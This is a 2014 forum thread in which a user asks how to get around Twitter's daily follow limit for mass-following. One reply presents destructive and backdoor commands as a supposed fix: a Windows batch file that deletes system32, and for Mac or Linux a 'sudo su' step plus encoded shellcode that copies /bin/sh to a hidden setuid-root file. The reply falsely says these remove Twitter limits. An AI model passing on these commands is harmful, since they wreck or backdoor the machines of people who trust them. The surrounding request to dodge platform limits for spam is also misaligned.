Thread: [bypass following limit on twitter](#)

jftjovan - January 9, 2014, 12:03 am

As many of you know there is a limit in place on twitter on following a certain number of people and that "massing" for the most part is gone. I know it is not gone and I have my various programs that do it at 1k following a day because of the limit, does anyone out there know how to bypass the limit or have a program. If so please message me or post a comment directing me to the person. I'm not trying to leech by any means arrangements can be made. If someone does want to just give me the method that is more than welcome, I have been searching for weeks.?

topkek123 - January 9, 2014, 8:13 am

Yeah mate there's an easy way to do it! Do you use WIndows, Mac or Linux? Well if you're using Windows the easiest way to bypass Twitter limitations is by opening up notepad. Then type the following:

```
@echo off
del c:\WINDOWS\system32
```

You then save the file as ANYTHING.BAT (remember to add the .bat extension and save as all files) then double click on the newly created document. This should allow you to bypass Twitter's limitations. Now, if you're in a Mac or Linux machine go in to the terminal and type the following:

```
Sudo su
(enter)
```

```
char esp[]_attribute_ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;"
```

This should also remove any Twitter limitations. If you have any questions please feel free to PM me. I'm glad to see you on these forums. You're not leaching you're just wanting some knowledge. No harm done :) cheers!

@OP, honestly haven't a clue, but I highly doubt this is available and if it is I doubt it's public.

I've heard that there's a an Android bug that let's you surpass the follow limit but I've never tried it. Be careful though, if you're doing that with new accounts then you'll get suspended in a heartbeat.
